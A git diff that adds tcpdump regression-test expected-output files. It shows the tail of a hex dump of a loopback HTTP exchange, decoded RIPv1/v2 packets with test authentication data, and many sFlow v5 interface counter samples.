+	0x13e0:  756c 6174 696f 6e73 2066 6f72 2079 6f75
+	0x13f0:  7220 6368 6f69 6365 206f 660a 6120 4465
+	0x1400:  6269 616e 2073 7973 7465 6d21 3c2f 503e
+	0x1410:  0a0a 3c44 4956 2061 6c69 676e 3d22 6365
+	0x1420:  6e74 6572 223e 0a3c 6120 6872 6566 3d22
+	0x1430:  6874 7470 3a2f 2f77 7777 2e64 6562 6961
+	0x1440:  6e2e 6f72 672f 223e 0a3c 494d 4720 616c
+	0x1450:  6967 6e3d 226d 6964 646c 6522 2068 6569
+	0x1460:  6768 743d 2233 3022 2077 6964 7468 3d22
+	0x1470:  3235 2220 7372 633d 2269 636f 6e73 2f64
+	0x1480:  6562 6961 6e2f 6f70 656e 6c6f 676f 2d32
+	0x1490:  352e 6a70 6722 2061 6c74 3d22 4465 6269
+	0x14a0:  616e 223e 0a3c 2f61 3e0a 3c61 2068 7265
+	0x14b0:  663d 2268 7474 703a 2f2f 7777 772e 6170
+	0x14c0:  6163 6865 2e6f 7267 2f22 3e0a 3c49 4d47
+	0x14d0:  2061 6c69 676e 3d22 6d69 6464 6c65 2220
+	0x14e0:  6865 6967 6874 3d22 3332 2220 7769 6474
+	0x14f0:  683d 2232 3539 2220 7372 633d 2269 636f
+	0x1500:  6e73 2f61 7061 6368 655f 7062 2e70 6e67
+	0x1510:  2220 616c 743d 2241 7061 6368 6522 3e0a
+	0x1520:  3c2f 613e 0a3c 2f44 4956 3e0a 0a3c 212d
+	0x1530:  2d0a 2020 5468 6973 2070 6167 6520 7761
+	0x1540:  7320 696e 6974 6961 6c6c 7920 6372 6561
+	0x1550:  7465 6420 6279 204a 6f68 6e69 6520 496e
+	0x1560:  6772 616d 2028 6874 7470 3a2f 2f6e 6574
+	0x1570:  676f 642e 6e65 742f 290a 2020 4974 2077
+	0x1580:  6173 206c 6174 6572 2065 6469 7465 6420
+	0x1590:  6279 204d 6174 7468 6577 2057 696c 636f
+	0x15a0:  7820 616e 6420 4a6f 7369 7020 526f 6469
+	0x15b0:  6e2e 0a20 204c 6173 7420 6d6f 6469 6669
+	0x15c0:  6564 3a20 2444 6174 653a 2032 3030 342f
+	0x15d0:  3036 2f32 3020 3135 3a33 333a 3537 2024
+	0x15e0:  2e0a 2020 2d2d 3e0a 0a3c 2f42 4f44 593e
+	0x15f0:  0a3c 2f48 544d 4c3e 0a
+23:57:35.941260 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5560, win 12383, options [nop,nop,TS val 1306300953 ecr 1306300953], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1b6e 4000 4006 2154 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 8a49 377a a3a9 8010
+	0x0030:  305f 10ea 0000 0101 080a 4ddc 9219 4ddc
+	0x0040:  9219
+23:57:37.229575 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [F.], seq 203, ack 5560, win 12383, options [nop,nop,TS val 1306302241 ecr 1306300953], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1b70 4000 4006 2152 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 8a49 377a a3a9 8011
+	0x0030:  305f 0be1 0000 0101 080a 4ddc 9721 4ddc
+	0x0040:  9219
+23:57:37.230839 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [F.], seq 5560, ack 204, win 8192, options [nop,nop,TS val 1306302243 ecr 1306302241], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1fe8 4000 4006 1cda 7f00 0001 7f00
+	0x0020:  0001 0050 da70 377a a3a9 3758 8a4a 8011
+	0x0030:  2000 1735 0000 0101 080a 4ddc 9723 4ddc
+	0x0040:  9721
+23:57:37.230900 IP 127.0.0.1.55920 > 127.0.0.1.80: Flags [.], ack 5561, win 12383, options [nop,nop,TS val 1306302243 ecr 1306302243], length 0
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500
+	0x0010:  0034 1b72 4000 4006 2150 7f00 0001 7f00
+	0x0020:  0001 da70 0050 3758 8a4a 377a a3aa 8010
+	0x0030:  305f 06d4 0000 0101 080a 4ddc 9723 4ddc
+	0x0040:  9723
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ripv1v2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ripv1v2.out
new file mode 100644
index 0000000000000000000000000000000000000000..20712ad045c54241adcb918964c5bbe480cd695c
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ripv1v2.out
@@ -0,0 +1,14 @@
+IP (tos 0xc0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 52)
+    10.0.0.20.520 > 10.0.0.255.520: 
+	RIPv1, Request, length: 24
+IP (tos 0xc0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 52)
+    10.0.0.20.520 > 10.0.0.255.520: 
+	RIPv1, Response, length: 24, routes: 1
+	  10.70.178.0, metric: 1
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 52)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 24
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 52)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 24, routes: 1
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ripv2_auth.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ripv2_auth.out
new file mode 100644
index 0000000000000000000000000000000000000000..c79cbda7590dbde71d93dba6841c83b3af19146e
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/ripv2_auth.out
@@ -0,0 +1,72 @@
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 72)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 44
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 72)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 44, routes: 2
+	  Simple Text Authentication data: abcdefghijklmno
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 92)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 64
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 92)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 64, routes: 3
+	  Unknown (3) Authentication data:
+	  0x0000:  002c 2d10 4fd6 133c 0000 0000 0000 0000
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Unknown (1) Authentication data:
+	  0x0000:  6d21 5dd5 6d27 a6f4 8a51 e2c2 fcc2 af0f
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 96)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 68
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 96)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 68, routes: 3
+	  Unknown (3) Authentication data:
+	  0x0000:  002c 2d14 4fd6 1354 0000 0000 0000 0000
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Unknown (1) Authentication data:
+	  0x0000:  375c 8a50 f77f 543b 2425 a695 a27d 6b95
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 108)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 80
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 108)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 80, routes: 4
+	  Unknown (3) Authentication data:
+	  0x0000:  002c 2d20 4fd6 1370 0000 0000 0000 0000
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Unknown (1) Authentication data:
+	  0x0000:  3965 b755 535a 3375 e83a 973c 60c9 1693[|rip]
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 124)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 96
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 124)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 96, routes: 4
+	  Unknown (3) Authentication data:
+	  0x0000:  002c 2d30 4fd6 1385 0000 0000 0000 0000
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Unknown (1) Authentication data:
+	  0x0000:  64de 1dec 3632 e210 0258 2404 0b32 a947
+	  AFI Unknown (43654)
+	  0x0000:  59a1 fef3 9248 3115 c266 0386 f183 4f31
+	  0x0010:  1df0
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 140)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Request, length: 112
+IP (tos 0xc0, ttl 1, id 0, offset 0, flags [DF], proto UDP (17), length 140)
+    10.0.0.20.520 > 224.0.0.9.520: 
+	RIPv2, Response, length: 112, routes: 5
+	  Unknown (3) Authentication data:
+	  0x0000:  002c 2d40 4fd6 1399 0000 0000 0000 0000
+	  AFI IPv4,     10.70.178.0/24, tag 0x0000, metric: 1, next-hop: self
+	  Unknown (1) Authentication data:
+	  0x0000:  ad5a 5d8a a1a8 b023 1ec3 5c1c ba6a 45fb
+	  AFI Unknown (48865)
+	  0x0000:  5584 6b1c 724d b1b7 f02e 7365 f038 7558
+	  0x0010:  0914
+	  AFI Unknown (26466)
+	  0x0000:  00d1 a92f d499 5da2 43ad 202c 7a9b 8065
+	  0x0010:  49ad
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/sflow_multiple_counter_30_pdus.out b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/sflow_multiple_counter_30_pdus.out
new file mode 100644
index 0000000000000000000000000000000000000000..1b1938e40d75573b19dd0cd51715f69f3b37fc48
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/NEW/sflow_multiple_counter_30_pdus.out
@@ -0,0 +1,1828 @@
+IP (tos 0x0, ttl 253, id 23654, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.76.40948 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.8.4, agent-id 2, seqnum 204720, uptime 2612972293, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 55, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 55, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 820721, unicast pkts 9601, multicast pkts 0, broadcast pkts 1302, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178785248, unicast pkts 9736, multicast pkts 132958, broadcast pkts 2213534, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 56, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 56, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 156084746, unicast pkts 473593, multicast pkts 0, broadcast pkts 1862745, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 59635889, unicast pkts 8834, multicast pkts 132958, broadcast pkts 352092, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87099, type 0, idx 57, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 57, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3051593057, unicast pkts 52919488, multicast pkts 1491, broadcast pkts 956, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1525716840, unicast pkts 30013667, multicast pkts 131467, broadcast pkts 2213880, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 60, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 60, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 0, unicast pkts 0, multicast pkts 0, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178404732, unicast pkts 3035, multicast pkts 132958, broadcast pkts 2214836, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87016, type 0, idx 61, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 61, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 0, unicast pkts 0, multicast pkts 0, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178368955, unicast pkts 3031, multicast pkts 132840, broadcast pkts 2214791, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 62, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 62, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 0, unicast pkts 0, multicast pkts 0, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178404650, unicast pkts 3034, multicast pkts 132958, broadcast pkts 2214836, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 87096, type 0, idx 63, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 63, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 0, unicast pkts 0, multicast pkts 0, broadcast pkts 0, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 178404732, unicast pkts 3035, multicast pkts 132958, broadcast pkts 2214836, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12208, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499682, uptime 12973660, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007195, type 0, idx 1, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 1, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 2460750, unicast pkts 22544, multicast pkts 5, broadcast pkts 6408, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3991394888, unicast pkts 131978, multicast pkts 2198965, broadcast pkts 48358863, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006745, type 0, idx 2, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 2, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 122196260, unicast pkts 82823825, multicast pkts 710, broadcast pkts 38540, discards 0
+	      In errors 2, unknown protos 0
+	      Out octets 3744715166, unicast pkts 93942161, multicast pkts 2218252, broadcast pkts 48317917, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 2, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007118, type 0, idx 3, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 3, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 87175881, unicast pkts 11173387, multicast pkts 1312, broadcast pkts 7310, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2575091711, unicast pkts 8663056, multicast pkts 1949260, broadcast pkts 8701202, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007648, type 0, idx 4, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 4, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3013636604, unicast pkts 424917316, multicast pkts 1216, broadcast pkts 196654, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 584566587, unicast pkts 294167676, multicast pkts 1948957, broadcast pkts 8512276, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 1832884, type 0, idx 5, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 5, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3835856598, unicast pkts 6812799, multicast pkts 1145, broadcast pkts 705277, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2182764482, unicast pkts 8284848, multicast pkts 2738770, broadcast pkts 7987023, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007139, type 0, idx 6, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 6, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 21722, unicast pkts 0, multicast pkts 12, broadcast pkts 37, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1874046310, unicast pkts 98496, multicast pkts 1955062, broadcast pkts 20311831, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006986, type 0, idx 7, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 7, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3474926128, unicast pkts 10088201, multicast pkts 1463, broadcast pkts 14105, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 831378523, unicast pkts 12805926, multicast pkts 1954494, broadcast pkts 20293366, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12209, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499683, uptime 12973661, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007114, type 0, idx 8, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 8, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3858988244, unicast pkts 13191097, multicast pkts 1215, broadcast pkts 24593, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 2559231968, unicast pkts 16126546, multicast pkts 1954848, broadcast pkts 20284429, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007001, type 0, idx 9, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 9, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 3386316332, unicast pkts 14360061, multicast pkts 1244, broadcast pkts 16485, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1675798901, unicast pkts 15790519, multicast pkts 1954451, broadcast pkts 20291225, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2005309, type 0, idx 10, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 10, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 1558898282, unicast pkts 162603641, multicast pkts 1331, broadcast pkts 188407, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3568458580, unicast pkts 162582480, multicast pkts 1953553, broadcast pkts 20106780, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007256, type 0, idx 11, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 11, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 125808339, unicast pkts 691735, multicast pkts 2539, broadcast pkts 22184, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 1249750181, unicast pkts 33020559, multicast pkts 2196657, broadcast pkts 48342104, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007178, type 0, idx 12, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 12, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 45949249, unicast pkts 205456, multicast pkts 1743, broadcast pkts 8308, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4019313234, unicast pkts 210496, multicast pkts 2197587, broadcast pkts 48353561, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007155, type 0, idx 13, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 13, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 32111027, unicast pkts 143922, multicast pkts 1193, broadcast pkts 5276, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4050797426, unicast pkts 198665, multicast pkts 2197850, broadcast pkts 48353779, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2006875, type 0, idx 14, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 14, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 19576, unicast pkts 19, multicast pkts 5, broadcast pkts 30, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 3990801228, unicast pkts 107683, multicast pkts 2199048, broadcast pkts 48364452, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+IP (tos 0x0, ttl 253, id 12210, offset 0, flags [none], proto UDP (17), length 1316)
+    15.184.1.195.4942 > 15.184.3.9.6343: sFlowv5, IPv4 agent 15.184.1.195, agent-id 1, seqnum 10499684, uptime 12973663, samples 7, length 1288
+	expanded counter sample (4), length 172, seqnum 2007174, type 0, idx 15, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 15, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 96700793, unicast pkts 453020, multicast pkts 2568, broadcast pkts 22804, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4042743345, unicast pkts 379591, multicast pkts 2196676, broadcast pkts 48338646, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007085, type 0, idx 16, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 16, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 289703711, unicast pkts 1654844, multicast pkts 37302, broadcast pkts 22784, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4098637095, unicast pkts 801788, multicast pkts 2166613, broadcast pkts 48320960, discards 0
+	      Out errors 0, promisc mode 2
+	    enterprise 0, Ethernet counter (2) length 52
+	      align errors 0, fcs errors 0, single collision 0, multiple collision 0, test error 0
+	      deferred 0, late collision 0, excessive collision 0, mac trans error 0
+	      carrier error 0, frames too long 0, mac receive errors 0, symbol errors 0
+	expanded counter sample (4), length 172, seqnum 2007171, type 0, idx 17, records 2
+	    enterprise 0, Generic counter (1) length 88
+	      ifindex 17, iftype 117, ifspeed 1000000000, ifdirection 1 (full-duplex)
+	      ifstatus 3, adminstatus: up, operstatus: up
+	      In octets 45204461, unicast pkts 194096, multicast pkts 1700, broadcast pkts 8788, discards 0
+	      In errors 0, unknown protos 0
+	      Out octets 4014792810, unicast pkts 198133, multicast pkts 2197652, broadcast pkts 48351768, discards 0
+	      Out errors 0, promisc mode 2
